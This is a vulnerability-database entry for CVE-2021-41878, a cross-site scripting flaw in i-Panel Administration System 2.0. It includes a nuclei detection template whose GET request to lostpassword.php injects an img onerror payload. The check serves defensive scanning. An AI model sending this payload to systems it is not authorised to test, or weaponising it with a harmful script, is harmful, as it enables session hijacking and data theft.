HexBrain

Browse / CVEs / CVE-2021-41878

CVE-2021-41878· hkurl / i-panel administration system· CWE-79

i-Panel Administration System 2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
9.9%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E
Positive when: contains "><img src=a onerror=alert(\"document.domain\")>" and "i-Panel Administration" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-41878 -u <target>

The full check
id: CVE-2021-41878

info:
  name: i-Panel Administration System 2.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html
    - https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-41878
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41878
    - http://packetstormsecurity.com/files/164519/i-Panel-Administration-System-2.0-Cross-Site-Scripting.html
    - https://github.com/Offensive-Penetration-Security/OPSEC-Hall-of-fame
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41878
    cwe-id: CWE-79
    epss-score: 0.09912
    epss-percentile: 0.95619
    cpe: cpe:2.3:a:hkurl:i-panel_administration_system:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hkurl
    product: i-panel_administration_system
  tags: cve2021,cve,ipanel,xss,packetstorm,hkurl,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><img src=a onerror=alert("document.domain")>'
          - 'i-Panel Administration'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from